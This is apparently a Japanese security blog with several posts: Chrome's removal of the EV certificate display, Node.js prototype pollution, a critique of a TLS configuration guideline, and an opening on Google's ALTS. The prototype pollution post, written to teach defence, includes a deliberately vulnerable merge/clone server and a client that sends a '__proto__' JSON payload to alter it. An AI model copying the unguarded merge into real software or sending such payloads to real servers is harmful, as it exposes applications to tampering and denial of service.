ぼちぼち日記

おそらくプロトコルネタを書いていることが多いんじゃないかと思います。

Google Chrome EV表示の終焉

1. Chrome でEV証明書の組織名表示がなくなる

ついにGoogleからChromeのURLバーからEV表示を削除する正式なアナウンスが出ました。

現在(2019年8月) StableのChrome76では、以下の様にURLバー左側にEV証明書を利用していることを示す「組織名+国名」表示が付いています。

f:id:jovi0608:20190812012752p:plain
Chrome76のEV表示

2019年9月10日Stableリリース予定のChrome77からはEV表示がURLバーから削除され、鍵アイコンをクリックして表示されるPage Infoに「組織名+国名」が表示されるようになります。

Googleのアナウンスでは、 "on certain websites" と書いてあることから一気にではなく一部のサイトからEV表示を外すのかもしれません。下図は Chrome78 Canary のスクリーンショットです。

f:id:jovi0608:20190812012733p:plain
Chrome78のEV表示

以前よりGoogleChromeでEV表示を外すフィールド実験を行っていることは知られていました。

今回、Googleはこの大規模なChromeのフィールド実験結果を解析し、EV表示の効果はないということを統計的に示しました。 結果、ChromeのURLバーからEV表示を外すという方針を決めました。

以下はGoogleのアナウンス文からの引用翻訳です。

Chrome Security UXチームは、独自の調査と以前の学術研究の調査を通じて、EV UIがユーザーを意図したとおりに保護していないと判断しました(Chromiumドキュメントの詳細資料を参照)。

EV UIが変更されたり削除されたりしても、ユーザーはパスワードやクレジットカード情報の入力を避ける、といった安全な選択を行わないようです。EV UIが提供している防止策に意味があると言えるでしょうか。

さらにEVバッジは貴重な画面領域を占有し、派手なUIで紛らわしい会社名を積極的に提示したりします。 これは安全な接続に対して有益になるわけではなく、むしろ中立的な表示を目指しているChrome製品の方向性を妨げます。

これらの問題とその限られた有用性のために、Page InfoでEV UIを表示する方が良いと考えています。

2. EV証明書の問題

ブラウザの表示については、これまで様々な問題提起がされ、大きな議論が行われてきました。 これまでの議論は、NTTセキュアプラットフォーム研究所の奥田さんによる「TLSとWebブラウザの表示のいまとこれから ~URLバーの表示はどうなるのか~」 にとても詳しくまとまっています。 興味のある方はこの資料をぜひ見てください。

奥田さんの資料に少し追加しますと、EV証明書の表示に関して少し前に2つ大きなインシデントがありました。

2017年に英国のセキュリティ研究者 James Burton氏が、"Identity Verified"という会社を設立し、正式なEV 証明書を取得しました。 当時AppleSafariではEV証明書のサイトではURLを表示せず組織名だけを表示していたため、 Identity Verified会社のEV証明書を使って以下のようにGoogleアカウントやPayPalのログインページなどを表示することができ、ユ ーザを惑わすことが可能であることを実証しました。

f:id:jovi0608:20190812013221p:plain
Identity VerifiedのEV表示

2018年AppleはiOS12でSafariでのEVの組織表示をやめました。 CABForumのF2F会議の議事録によると、Appleの話では「この変更は、調査と顧客の意見を基に行ったものである。組織名が、ユーザの意図した接続先とドメイン名と同じように結びついているわけではない。」と書いてあります。

2つ目は、米国のセキュリティ研究者 Ian Carroll氏が、米国では州が異なれば同じ会社名の法人が設立できることを使い、デラウェア州にある決済のStripe社と同じ社名のStripe社をケンタッキー州で設立しました。 この会社を使って正式なEV証明書を取得し、同じStripe社を表示する正当なEV証明書によるフィッシングサイトが立ち上げられられることを公表しました。2つを比べるとURLは異なりますが、EV表示だけを見ていると全く同じです。

f:id:jovi0608:20190812013238p:plain
Stripe IncのEV表示

このような事案を受けて、いくつかの認証局が組織するCA Security CouncilでEV/OV証明書によるフィッシングを対策する The London Protocolの策定を2018年に開始しました。しかし現在の進捗状況は不明です。

EV証明書を取得するには、登記簿の提出など組織の実在を証明する厳しい手続きと高い費用が必要です。しかしEV証明書を取得する組織が、法的に問題ない業務を行っているかどうかは認証局チェックの範囲外です。各認証局はEV証明書発行時にフィッシングドメインでないかのチェックを行っています。しかしそれは十分ではなく、コスト面さえ折り合えば、このような攻撃がEV証明書を使って行われる可能性があることが示されたわけです。

このような問題を持つEV証明書に対して、ブラウザのEV組織表示は本当に必要なのでしょうか?

ブラウザのEV組織表示は、本当にユーザのセキュリティに効果があるのでしょうか?

10年以上前にIE7やFirefox3を使った数十名を対象とした小規模な調査で、EV表示は有効でないという結果が公表されていました。現在ではブラウザの環境もUIも当時より大きく変わっています。

今回Googleは、7割近くのトップシェアを持つ Chrome を用いて大規模にフィールド実験を行いました。現在のブラウザUIでEV表示が本当にユーザのセキュリティ行動に対して有効なのか判断するためです。

3. Googleが行ったEV表示のフィールド実験

Googleは、どのようなフィールド実験結果からURLバーからEV表示の削除を結論づけたのでしょうか? 詳細は 8/14 から始まる USENIX Security 19 の「The Web's Identity Crisis: Understanding the Effectiveness of Website Identity Indicators」 で発表される予定です。

すでに公開されている論文から中身を見てみましょう。

Chromeのフィールド実験で、Googleは以下の3つの試験を行いました。

  1. Chromeユーザに対するEV表示/非表示のフィールド実験
  2. 米国・英国ユーザ(1000名程度)に対するEV表示に関するオンラインサーベイ
  3. 米国ユーザ(1000名強)に対するURL表示に関するサーベイ

ここでは、1.のChromeのEV表示/非表示のフィールド実験について主に書きます。

EV表示のフィールド実験は、2019年1月15日から28日にかけてStableチャネル(Chrome 71)で実施されました。

統制群、実験群としてそれぞれ1%のユーザをランダムで割り当て、実験群ではEV表示をしないようにしました。 Chromeのユーザ規模になると1%サンプルでも数百万ユーザのデータになっています。すごい規模です。

Googleは、それぞれのグループに対して以下のメトリックスを取得しました。

  • EV Navigationと時間
  • EV Pageの遷移(タブクローズ、Back/Forward/Reload)
  • ファイルダウンロード
  • Formの送信
  • Autofillによるクレジットカード情報の送信
  • Page Infoの表示とその後の操作
  • サイトエンゲージメント

取得したデータに対してウェルチt検定を行い、結果は以下の表になりました。統制群(Control)はEV表示しているグループ、実験群(Experiment)はEV表示をしないグループです。

f:id:jovi0608:20190812013256p:plain
Chromeのフィールド実験結果1

EV Navigationと時間、EV Pageの遷移、ファイルダウンロード、Formの送信、Autofillによるクレジットカード情報の送信に関しては、統制群・実験群でその割合に大きな違いは見られませんでした。

統制群に対して実験群が統計的有意差(p値 < 0.05)であるものは、「Page Infoを表示する」だけです。 少し意外ですが、EV表示がある方がユーザが頻繁に鍵アイコンをクリックしてPage Infoのポップアップを開けているのです(EVページナビゲーションに対して0.25%対0.02%)。

Page Infoを開けた後の操作にどのような違いがあるのか? EVページナビゲーションで正規化して解析し直したのが次の結果です。

f:id:jovi0608:20190812013318p:plain
Chromeのフィールド実験結果2

Page Info後の操作に対して、それぞれの効果量(Cohen's d)が小さいです。ユーザのPage Info後の操作は、EV表示/非表示で大きく変わらないことがわかりました。

それではどうしてEV表示があるとユーザは、Page Infoをよく開けるのでしょうか?

論文では以下の2つの仮説が挙げられています。

  • EV表示の領域が大きいためユーザが間違ってPage Infoを開けてしまう。
  • ユーザは、EV表示の場合ちゃんと認識してPage Infoを開けている。しかしEV非表示の場合でもセキュリティ行動を変える判断を行うまでに至っていない。

ですが結局よく理由はわからないと締めています。

Googleは、TOP 20のEVサイトに対するデータの解析も行っています。その結果6サイトで統計的有意差が出ましたが、効果量が少ないため自然変異だろうと結論づけています。

以上のフィールド実験の結果から、Page Infoを開ける行動には違いがあるものの、EV表示の有無がナビゲーションやページ遷移、ファイルダウンロード、フォーム送信、クレジットカード情報のAutoFillといったユーザのセキュリティ行動に影響しないことが統計的に示されました。 これは過去の小規模調査結果と合致しています。

他にもGoogleは、1000名を対象としたEV表示のサーベイを実施しています。 組織名が同じで国名が異なるEV証明書が表示された場合やApple SafariのEV表示変更でユーザがどのように判断するかサーベイしました。 どちらもWebページにログインする際、EV表示がユーザに心理的影響を与えないことがわかりました。

ChromeにおけるEV表示の大規模フィールド実験と1000名を対象としたEV表示のサーベイ結果、いずれもEV表示の有効性を示すものではありませんでした。 以上の結果から、ChromeのURLバーからEV表示を外し、Page Infoへ移す方針を決めたわけです。

4. URL表示の限界、その先にあるもの

ChromeのURLバーからEV表示がなくなります。ではブラウザは、このままのURL表示で大丈夫なのでしょうか?

今回の論文では、1000名強のユーザーを対象としてURL表示のバリエーションを変えたサーベイも行っています。しかし、どれもユーザをフィッシングサイトへの アクセスを防止させるような効果はなかったと結論づけています。

2019年1月のUSENIX ENIGMAで、GoogleのEmily Stark氏が The URLephant in the Room というプレゼンを行っています。 そこでは、

URLは、効果的なセキュリティ・インディケータではない。
- 人々はURLに気づいていない。
- 人々はURLを理解していない。
- (国際化ドメイン名など)人々がURL(の違い)を理解することが不可能な場合もある。

と述べています。一方で、直ちにURLに替わる画期的で有効な方法といった銀の弾丸は存在せず、まずURL表示を正しくするようにして長期間かけてUIを改善していく必要がある、アイデアやフィードバックが欲しいと訴えています。

Googleは、URLに替わる代替案を本当に考えていないのでしょうか?

あるChromeのバグチケットにこんなコメントがありました。

f:id:jovi0608:20190812015057p:plain

 Our long-term hope is to eventually de-emphasize URLs (Google-internal link: ...)
 我々の長期的な展望は、実質的にURLを強調させないことである(Google内部リンク: ...)

資料がGoogle内部リンクになっているため「実質的にURLを強調させないこと」が具体的に何を指しているのかわかりません。

GoogleがURL表示に替わってChromeの表示をどう変えていくのか、今後も注視していきたいと思います。

Node.jsにおけるプロトタイプ汚染攻撃とは何か

1. はじめに

最近わけあってNodeのセキュリティ調査をしているのですが、今年の5月に開催された North Sec 2018 でセキュリティ研究者の Olivier Arteau 氏による 「Prototype pollution attacks in NodeJS applications」という面白い発表を見つけました。

この発表の論文や発表資料、デモ動画などもgithubで公開されていますし、ちょうどタイミングよくセッション動画も最近公開されました。 github.com


Olivier Arteau -- Prototype pollution attacks in NodeJS applications

この発表で解説されているのは、悪意のある攻撃者が、JavaScript言語固有のプロトタイプチェーンの挙動を利用して、Webサーバを攻撃する方法です。

発表者は、npmからダウンロードできるユーザモジュールを調べあげ、lohdash を始めとして多くのモジュールにプロトタイプ汚染の脆弱性があることを発見し、報告を行いました。そして、実際に脆弱性のある Ghost CMS に対して、パスワードリセットのリクエストを細工してサーバ上で計算機アプリを実行するデモまで成功しています。

JavaScriptの実行環境においてプロトタイプ汚染が発生してしまうことの危険性は、古くから言われていたことですが、これがNode.jsの環境でWebサーバへの攻撃に使われるということは、これまであまり意識されてなかったのではないかと思います。

自分の備忘録を兼ねて、ここではその攻撃の仕組みなどを解説してみます。

2. __proto__ の現状

オブジェクトのプロトタイプを参照する __proto__ は、昔から仕様外で裏技っぽく使われてきた機能でした。しかし現状実装の追認とブラウザ間での機能互換を持たせるため ECMAScript2015 で仕様に入りました。 developer.mozilla.org

他にも __proto__ への setter/getter と同様の機能である Object.setPrototypeOf/getPrototypeOf も規定されました。しかし、MDNではプロトタイプオブジェクトを変更することは基本非推奨の扱いです。今のNode.js環境では、もちろんどちらも使えます。

3. プロトタイプ汚染

プロトタイプ汚染とはどういうものでしょうか?

やり方はいろいろありそうですが、今回狙われたのは、オブジェクトリテラルの __proto__ が Object.prototype と同一であることを利用して、他のオブジェクトのプロパティアクセスに影響を与えるやり方です。

const obj1 = {};
console.log(obj1.__proto__ === Object.prototype); // true
obj1.__proto__.polluted = 1;
const obj2 = {};
console.log(obj2.polluted); // 1

上記の例では、obj1のプロトタイプオブジェクトを操作して、全く関係ない obj2 のプロパティ値(obj2.polluted)が undefined から 1 に改変されています。

発表では、以下の3つのパターンでオブジェクトのプロトタイプ汚染が起きることが紹介されています。いずれも __proto__ を key に持つ不正なデータをオブジェクトに登録させることによって、Object.prototype の操作を狙ったものです。

  • プロパティの設定
function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}

function setValue(obj, key, value) {
  const keylist = key.split('.');
  const e = keylist.shift();
  if (keylist.length > 0) {
    if (!isObject(obj[e])) obj[e] = {};

    setValue(obj[e], keylist.join('.'), value);
  } else {
    obj[key] = value;
    return obj;
  }
}

const obj1 = {};
setValue(obj1, "__proto__.polluted", 1);
const obj2 = {};
console.log(obj2.polluted); // 1
  • オブジェクトのマージ
function merge(a, b) {
  for (let key in b) {
    if (isObject(a[key]) && isObject(b[key])) {
      merge(a[key], b[key]);
    } else {
      a[key] = b[key];
    }
  }
  return a;
}

const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"__proto__":{"polluted":1}}');
merge(obj1, obj2);
const obj3 = {};
console.log(obj3.polluted); // 1
  • オブジェクトのクローン
function clone(obj) {
  return merge({}, obj);
}

const obj1 = JSON.parse('{"__proto__":{"polluted":1}}');
const obj2 = clone(obj1);
const obj3 = {};
console.log(obj3.polluted); // 1

これらに近い機能を提供するユーザモジュールの多くに、プロトタイプ汚染の脆弱性が見つかり修正されています。 いくつか修正部分を見てみましたが、key が __proto__ の場合に処理をスキップする対応でした。

攻撃者は、外部から Object.prototype を操作できることから、上記の様に undefined のプロパティを改変するだけでなく、 for-in loop を狙ったり、toString や valueOf などのメソッドをオーバライドしたりすることも可能です。DoSなら簡単に起こせそうです。

4. 実際の攻撃

発表では、実際のCMSサーバに対してパスワードリセットで送信するJSONを操作して攻撃を行うやり方が解説されていました。

皮肉なことに、オブジェクトのプロトタイプ汚染攻撃が成功した場合に、サーバをクラッシュさせず動かしたまま攻撃するのは、なかなか難儀な技です。 デモでは、様々な工夫をしてCMSテンプレートを操作してテスト用に残されているファイルに改変し、そこから任意のJavaScriptをサーバ上で実行(計算機アプリを立ち上げ)させています。

ここでは、JSONを受けて処理する簡単なWeb APIサーバが、プロトタイプ汚染攻撃によってレスポンスが操作されるサンプルを作ってみましょう。

外部から受信したJSONをそのまま別のオブジェクトに clone しています。

function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}

function merge(a, b) {
  for (let key in b) {
    // 本当は、 key が __proto__ の時に処理をスキップすべき
    if (isObject(a[key]) && isObject(b[key])) {
      merge(a[key], b[key]);
    } else {
      a[key] = b[key];
    }
  }
  return a;
}

function clone(obj) {
  return merge({}, obj);
}

const express = require('express');
const app = express();
app.use(express.json());
app.post('/', (req, res) => {
  // ここで外部から不正なJSONをそのままcloneして、オブジェクトのプロトタイプ汚染が起きる
  const obj = clone(req.body);
  const r = {};
  // プロトタイプ汚染によって r.status が改変
  const status = r.status ? r.status: 'NG';
  res.send(status)
});
app.listen(1234);
  • プロトタイプ汚染攻撃コード

クライアントの攻撃コードは、__proto__のプロパティを持つJSONをサーバに送信するだけです。

const http = require('http');
const client = http.request({
  host: 'localhost',
  port: 1234,
  method: 'POST'
}, (res) => {
  res.on('data', (chunk) => {
    console.log(chunk.toString());
  });
});
const data = '{"__proto__":{"status":"polluted"}}';
client.setHeader('content-type', 'application/json');
client.end(data);

攻撃結果です。送り込んだJSONによってサーバ上のオブジェクトプロトタイプが汚染され、response値が NG から polluted に改変されています。

$ node client.js
polluted

5. 対策

この攻撃を緩和させる対策として、以下の3つの方法が挙げられています。

  • Object.freeze を使う。

    Object.prototype や Object を freeze して改変を不可能にする方法です。副作用で動かなくなるモジュールがでるリスクがあります。

  • JSON schema を使う。

    avjモジュールなどを使って、JSON validation を行う方法です。

  • Map を使う。

    key/value を保存するためだけなら、オブジェクトを使わず Map を使う方法です。ES5以前の古い環境では使えません。

ちゃんと意識していないと忘れてしまいそうです。

6. まとめ

言われてみればそうなんですが、外部からのJSONを別のオブジェクトにdeepコピーしただけで攻撃されることになるのは、ちょっと驚きでした。 やっぱり外部からのデータ処理は慎重にです。

脆弱性が指摘されたユーザモジュールの多くは、既に修正されています。心当たりのある方は、一度 npm audit で確認をしてみましょう。

$ npm audit

                       === npm audit security report ===

# Run  npm install lodash@4.17.11  to resolve 1 vulnerability

  Low             Prototype Pollution

  Package         lodash

  Dependency of   lodash

  Path            lodash

  More info       https://nodesecurity.io/advisories/577



found 1 low severity vulnerability in 1 scanned package
  run `npm audit fix` to fix 1 of them.

「SSL/TLS暗号設定ガイドライン 第2.0版」を読んで

1. はじめに

昨日「SSL/TLS暗号設定ガイドライン 第2.0版」が公開されました。 前回から約3年経って今回はCRYPTREC暗号技術活用委員会で検討作業が行われたようです。

普段、TLS/HTTPSの記事を書いたり発表したりしている立場上、これを見逃すわけにはいけません。

本文冒頭では、

「本ガイドラインは、2018 年 3 月時点における、SSL/TLS 通信での安全性と可用性(相互接続性)のバランスを踏まえた SSL/TLS サーバの設定方法を示すものである。」

ということなので、できたてほっかほっかの最新ガイドラインを読ませていただきました。

読み進めてみるとChangelogが細かく書いてなく、以前のバージョンとどこがどう変わったのかよくわかりません。TLS1.3とかは絶対に新しく入った内容なんですが、細かいところはどうだろう… それでも全部(SSL-VPNを除く)をざっと読み通したので、いくつか気になった部分があったのでコメントしてみたいと思います。

このガイドラインの大きな特徴は、「高セキュリティ型」、「推奨セキュリティ型」、「セキュリティ例外型」の3つの基準に別れていることにあります。ですがこの分類方法や要求設定の違いに関しては、コメントしないことにします。個人的にはいろいろ思うところはありますが、結局はサービス提供範囲とリスク見合いになり、あまり技術的にはっきりした主張や議論になりにくいなと思うからです。

2. TLS1.3の説明について

SSL/TLSの概要説明のところでTLS1.3の説明が書いてありました。記述内容(図)がおかしそうなところが2点ほどありましたので書きます。

2.1 鍵スケジュール (TLS1.3の概要 (7) 鍵スケジュールの図)

TLS1.2では、暗号やMAC鍵の元となる MasterSecret は、鍵交換で生成したPreMasterSecretとサーバ・クライアントの乱数をPRF(擬似乱数関数)にかけて導出していました。

ただこのような生成方法だと Triple Handshake攻撃 を受ける恐れがあり、セッションハッシュを使う 「RFC7627-Extended Master Secret 」が、対策として出されています。

TLS1.3では、さらにHMAC方式など暗号技術で超有名な Hugo Krawczyk 氏が考案した OPTLS をベースとした鍵スケジュール方式が採用 されています。 これは、「RFC5869-HKDF」というKDF(鍵導出関数)を使い、用途別(0-RTT用、ハンドシェイク用、アプリデータ用等)に鍵を生成していく手法です。

ガイドラインでは、

f:id:jovi0608:20180509135609p:plain
SSL/TLS暗号設定ガイドライン p14より引用
と書かれており。上図の通りHKDFを使って、3種類に色分けされた計9個の鍵が導出されているのがわかります。

で、

EarlySecret(ES) = HKDF-Extract(PSK, 0)
HandshakeSecret(HS) = HKDF-Extract((EC)DHE, x)
MasterSecret(MS) = HKDF-Extract(0, x)

の部分ですが、RFC5869では、

HKDF-Extract(salt, IKM) -> PRK

と定義されています。HKDF-Expand関数にsalt, IKM(入力鍵) を引数に入れると、PRK(疑似乱数鍵)が出力されるということです。

一方、TLS1.3仕様の該当箇所では、

HKDF-Extract is drawn as taking the Salt argument from the top and the IKM argument from the left

HKDF-Extractは、Salt引数は上から、IKM引数は左から取るように書かれている。

と記載されています。そうなると上から来てる0とかxとかの方がsalt になります。なのでガイドライン記載の引数が逆で、

EarlySecret(ES) = HKDF-Extract(0, PSK)
HandshakeSecret(HS) = HKDF-Extract(x, (EC)DHE)
MasterSecret(MS) = HKDF-Extract(x, 0)

が正解じゃないかと思います。これ間違うと鍵交換後にエラーって、めちゃハマります(体験談)。

2.2 ハンドシェイクの暗号化開始個所 (TLS1.3の概要 (8) TLS1.3の暗号化開始個所)

次に、下図の「TLS1.3でここから暗号化する」の部分ですが、一番初めに入るEncryptedExtensins が抜けています。

f:id:jovi0608:20180509135615p:plain
SSL/TLS暗号設定ガイドライン p14より引用
TLS1.3仕様の該当箇所では、

In all handshakes, the server MUST send the EncryptedExtensions message immediately after the ServerHello message. This is the first message that is encrypted under keys derived from the server_handshake_traffic_secret.

全てのハンドシェイクでは、サーバはSeverHelloメッセージの直後にEncryptedExtensionsを送らなければならない(MUST)。これは、 server_handshake-traffic_secretから生成した鍵で暗号化される最初のメッセージである。

なのでMUSTです。TLS1.3仕様の図でEncryptedExtensionsに (*) Optionalが付いてなかったのを見落としちゃったのかもしれません。

2018年5月13日追記: よく見たら左側TLS1.2の図もおかしいです。TLS1.2ではChangeCipherSpecが暗号化開始の合図なので Finished も暗号化されています。Finishedも赤字にするのが正確でしょう。

3. ECDHEの要求仕様について(X25519 253bitが適応外になる!)

今回一番声を大にして言いたいのはここです。

高セキュリティ型、推奨セキュリティ型、セキュリティ例外型の全て要求仕様において、以下の通り「鍵長256ビット以上のECDHE」が求められています。

f:id:jovi0608:20180509135624p:plain
SSL/TLS暗号設定ガイドライン p24より引用
これは、本文中で例示してあるようにNIST P-256(secp256r1)の導入を前提としているかと思われます。

ここで昨年秋 Internet Week 2017で私がプレゼンした「運用の観点から見たTLSプロトコルの動き」の資料とくらべてみましょう。 f:id:jovi0608:20180509155408p:plain ガイドラインで要求仕様に入っているDHEは、私の資料では黄色(注意)にしています(理由は後述)。また青色の部分はガイドラインに入っていません。 CRYPTRECはNISTと異なり推奨楕円曲線を規定していません。ガイドライン中でもNIST-P256は一例として書いてあり、鍵長条件を満たすECDH方式なら楕円曲線の種類は問わないように読めます(少なくともこのガイドラインでは、NIST curveに限ると明確に書いていません)。256bit以上という条件では、253bitのX25519が適応外になってしまいます。

思わず、

とつぶやいちゃいました。換算が曖昧なセキュリティレベルでの規定(128bit相当)ならいざしらず、ちゃんと計算できる鍵長で、たかが3bitだからといい加減にできないのではないかと思います。

RFC7540-HTTP/2仕様では、「利用するEC鍵長は224bits以上でなければならない」と規定しました。これは当時仕様策定中のX25519が使えることを考慮して決めた値です。 (Re: ECDHE security level)

また、RFC7525-Recommendations for Secure Use of TLS and DTLSでも192bits以下は使うべきではないとの規定です。ガイドラインが求める鍵長256bit以上ではX25519を使えず、同程度のセキュリティレベルのRSA2048やDHE2048が使えるのに比べて、少し厳しいのではないかというのが自分の意見です。

これからの事を考えるとやっぱりアカンと思い、X25519がどういう経緯で作られ、現在どうなっているのか、少し解説したいと思います。 (書いてみたら膨大になってしまったので最後の節に回します。)

4.「サーバ証明書で考慮すべきこと」について

Sigh.. 思いっきり footgun になってます。

ちなみに文中の www.cryptrec.go.jp へのリンク先は全て http:// で記載されています。

5. DHEについて

DHEの取り扱いについては、先に書いた通りガイドラインと私の評価が少しずれています。よくよく読んでみると少し記述がおかしい部分も見られますので、そこをコメントさせていただきます。

5.1 明示的に鍵長を指定できない代表例のアップデート

以下に2例が示されていますが、最新の状況では条件によりますが、DHE鍵長の指定ができるようです。実際に試して検証をしていないのでポインターだけになります。

f:id:jovi0608:20180509135644p:plain
SSL/TLS暗号設定ガイドライン p46より引用

http://tomcat.apache.org/tomcat-8.0-doc/ssl-howto.html#Troubleshooting

If you are using the APR/native connector, starting with version 1.1.34 it will determine the strength of ephemeral DH keys from the key size of your RSA certificate. For example a 2048 bit RSA key will result in using a 2048 bit prime for the DH keys.

APR/native connector を使えばRSAの鍵長に合わせてDH鍵長も変えられる。

https://support.microsoft.com/en-us/help/3174644/microsoft-security-advisory-updated-support-for-diffie-hellman-key-exc

(訂正: 2018/5/10:18:30) リンクが間違っていました。正しくはこちらです。ご指摘いただいた @ さんありがとうございました。

https://technet.microsoft.com/ja-jp/library/security/3174644.aspx

https://docs.microsoft.com/ja-jp/windows-server/security/tls/tls-registry-settings#keyexchangealgorithm---diffie-hellman-key-sizes

レジストリを変更すればDH鍵長も変えられる。

5.2 DHEの鍵長の決まり方

DHEで利用する鍵長の決定方法についての記載が、非常におかしく思います。

f:id:jovi0608:20180509135650p:plain
SSL/TLS暗号設定ガイドライン p46より引用
の部分ですが、TLS1.2(RFC5246)の範囲では、DHEでは鍵長を交換する仕組み自体がありません。 f:id:jovi0608:20180509141107p:plain 上図の通り、サーバ側が勝手にDHのパラメータをクライアントに投げるだけです。クライアントがサポートされていない鍵長だとハンドシェイクエラーになります。

プロフェッショナルSSL/TLSから該当部分を一部引用してみましょう。

f:id:jovi0608:20180509204129p:plain
プロフェッショナルSSL/TLS p38より引用

この問題を解決するために、FFDHEと呼ばれる新しい仕様 RFC7919-Negotiated Finite Field Diffie-Hellman Ephemeral Parameters for Transport Layer Security (TLS) が策定され、TLS1.3にも取り込まれています。

それは、ECDHEと同様にDHEのパラメータを名前付けし、ClientHelloのExtensionでECDHE/DHEともにサポートするDHEグループリストをサーバに伝える方法です。 f:id:jovi0608:20180509141121p:plain これですと、サーバはクライアントがサポートされているDHグループを判断し、鍵交換を行うことができます。 しかしRFC7919をサポートしているブラウザは私の知る限りまだ見ていません(誰が知っていたら教えてください)。

5.3 結局DHEを推奨すべきかどうか

このように現状のDHEは、鍵長交換ができないと言った大きな欠点があります。またDHEの演算性能や必要となるデータ量などECDHEに比べて全くメリットがない状況です。以前はECDHEのパテントリスクを避けるため、Foward Secrecyを実現するためにDHEの需要がありました。既に幾つかのパテントがexpireし、X25519の利用も見えてきました。現在ChromeFirefoxでは DHEのサポートを取りやめています。

かと言って全くDHEを捨て去っていいかというわけではなく、ECDHEのバックアップとして必要です。TLS1.3ではFFDHEが取り込まれているので、ECDHEに何かあった時用に緊急避難用のアルゴリズムとして残しておく必要性があると思います。

従ってFFDHEが使えない現状で、TLS1.2でのDHE利用には、私の評価は黄色(注意)を付けています。

6. X25519はどうなのか

X25519ができるまでの経緯を書いてみます。

6.1 Dual_EC_DRGBのバックドアとNIST P-256の闇

NIST-P曲線は1999年にNISTによって規定されました。規定にはNSAが関わったという話です。

少し後(2000年)に楕円曲線を利用した疑似乱数生成仕様 Dual_EC_DRBGNSAの協力の元でNISTを策定を進め、2005年に規定されました。しかし2006,7年頃にこの乱数生成仕様にはバックドアがあるのではないという研究発表が出てきました。

Dual_EC_DRBGは、ある特定の2つの楕円曲線上の点を元に疑似乱数を生成していく仕組みです。 バックドアとみなされていたのは、この2つの楕円曲線上の点の関係が計算できていれば、表に出ている乱数から生成器の内部状態を再現でき、次の乱数が予測できるというものでした。

TLSでは内部の秘密鍵の生成にも疑似乱数を使用します。これが外部から予測できればアウトです。実際にNSAが本当にバックドアを狙って仕込んだのかは、わかりません。でもこの2つの楕円曲線の点はNSAの技術者からNISTへ提案を受けたものだという証言が残っています。

また、2004年にNSAから1000万ドルかけてRSA社のライブラリにこの擬似乱数生成を入れ込み、実際に販売してたことも判明しました。2013年のスノーデン事件で明るみになった情報の中にも、NSAが標準化作業に入り込み、バックドアの仕込みをやっていたことを匂わすような記述が見受けられたそうです。まぁ、状況証拠的には真っ黒です。ほどなくDual_EC_DRBGは廃止され、使われることはなくなりました。

話は変わって NIST-P256。これも楕円曲線のある一つの変数が、出どころのわからない数値にSHA-1ハッシュをかけて生成したものでした。果たしてこれがバックドアにつながるのか? 現在これ以上のことはまだわかっていません。でも、Dual_EC_DRBGの例を見れば、非常に疑わしいのは明らかです。

6.2 IETF curve(curve25519/curve448)の策定

このような状況から、2014年7月にIETFではTLS WGからCFRGにNIST標準によらない鍵交換とデジタル署名用の楕円曲線暗号を選定するよう依頼が行われました。[Cfrg] Formal request from TLS WG to CFRG for new elliptic curves

当初2ヶ月程度で選定を終わらせる予定が、様々な要望や提案が入り混じり、案の定大議論が沸き起こりました。すったもんだの末に半年かかってdjb氏が考案した curve25519 が最初の候補として採用されることになりました。 (Adoption of draft-agl-cfrgcurve-00 as a RG document) これが今のX25519につながります。

djb氏が考案したためパテントに対するリスクも小さく、係数も数学的判断を元に決定されています。ソフトウェア処理でもそこそこ高速できるように工夫され、できるだけ簡潔な演算ができるようになっています。NIST-P256は複雑で、サイドチャネル攻撃を回避して高速化をするためには、非常に苦労します。それとは、大きく性質が異なります。

名前は、

と区別する関係になっています。

最終的により大きな鍵長をもつ curve448(Goldilocks)を加え、2016年1月にRFC7748-Elliptic Curves for Security として無事 curve25519/curve448と鍵交換のX25519/X448が仕様化されました。デジタル署名の仕様も Edwards-Curve Digital Signature Algorithm (EdDSA)として仕様化が完了しました。これでTLS1.3に向けてIETFが選定した楕円曲線が使える環境が整いました。

ざっと比べてみるとこんな感じです。 f:id:jovi0608:20180509155535p:plain

6.3 X25519の普及度

X25519は、Chrome, Firefox, Opera, Edgeで既に使えるようになっています。ブラウザベンダーの危機感は大きく、クライアント側の普及は早いです。

サーバは、OpenSSL-1.1.0系から使えるようになっています。X448はOpenSSL-1.1.1が必要です。

現在、X25519がどの程度使われているのか、最近の計測結果を見つけましたので紹介します。 Chasing X25519 Usage of insecure curves still common では Alaxa Top 100 でなんと38%対応済。Alaxa Top 1万で8.73%程度です。Top 100 の方はGoogle系のサイトが多いからだと思われます。

In search of CurveSwap: Measuring elliptic curve implementations in the wild の統計だと2017/08の時点でX25519が2.6%, NIST P-256が86.9%の割合でした。来年末OpenSSL-1.0.2のEoLなので、OpenSSL-1.1.x系に入れ替えが進むと一気にサーバ側の普及が進むものと思われます。

現在、Google系以外の比較的規模が大きなサイトでは、wikpedia やMS系のサービスがX25519が優先されるようにサービスを提供しています。 f:id:jovi0608:20180509195629p:plain

6.4 X25519の性能

気になるX25519の性能ですが、他の楕円曲線暗号の鍵交換とくらべてどうでしょうか?

今月リリース予定のOpenSSL-1.1.1のpre6版で比較してみます(AVX/AVX2入りCPUです)。 f:id:jovi0608:20180509135656p:plain おぉ! X25519の方がNIST P-256より約1.5倍近く速いです。X25519は、OpenSSL-1.1.1でかなり高速化されているので、適切なセキュリティ強度で申し分ない性能が得られると思います。

6.5 NISTの推奨楕円曲線

NISTじゃない楕円曲線暗号を策定したのですが、なんとこの成功を受けNISTがcurve25519/curve448を推奨楕円曲線として採用する予定であることを明らかにしました。 Transition Plans for Key Establishment Schemes using Public Key Cryptography 近いうちにNIST SP 800-186が発行されるでしょう。

今後も NIST-P256 を信じるか、信じないか、あなた次第です。

TLS1.3ではNIST P-256がMUST、X25519がSHOULDの実装になっています。高性能で程よい安全と、そして大きな安心を得られ、今後普及が見込まれるX25519を入れられないガイドラインは非常にもったいないなと個人的に思うのです。

RPCに特化したGoogleのセキュリティ通信ALTSとは何か

はじめに

昨年、Googleから Google Cloud Platform に関するWhitePaperがいくつか公開されました。その中でGoogleのサービス内部で使われている新しいALTSというプロトコルを説明した文書「Application Layer Transport Security」は、読んでみると非常に面白く、セキュアなサービス間通信には本当に何が必要なのか、といったことを改めて深く考えさせられるものでした。物理的なマシンからサービス運用まで、ALTSがカバーする範囲は幅広い領域に渡り、あの巨大なGoogleのサービスをよくここまでまとめ上げたものだとホント感心させられます。

